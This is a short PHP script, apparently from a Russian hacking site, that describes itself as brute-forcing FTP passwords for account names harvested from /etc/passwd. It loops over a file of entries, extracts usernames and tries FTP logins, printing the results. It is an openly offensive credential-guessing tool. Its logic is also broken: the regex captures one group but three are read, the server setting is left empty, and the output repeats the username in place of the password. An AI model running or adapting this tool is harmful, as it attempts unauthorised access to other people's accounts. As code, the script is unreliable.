<?php

// Description: This PHP-script (passwd.php) bruteforce passwords from /etc/passwd under FTP-protocol.
// Authors: Terabyte (admin[at]web-hack.ru) and Pavel.
// Web-site: http://www.web-hack.ru

$filename="ftp.txt"; // passwd file
 // FTP-server

echo "<b>Start checking...</b>";

$fp = fopen ($filename, "r");
if ($fp)
{
while (!feof ($fp)) { 
$buf = fgets($fp, 100);
ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g);
$ftp_server=$g[0];
$ftp_user_name=$g[1];
$ftp_user_pass=$g[2];
$conn_id=ftp_connect($ftp_server);
$login_result=@ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

if (($conn_id) && ($login_result)) {
echo "<b>".$ftp_server." - ".$ftp_user_name.":".$ftp_user_name."</b><br>";
ftp_close($conn_id);}
else {
echo $ftp_server." - ".$ftp_user_name.":".$ftp_user_name."</b><br>";
}
}}

?>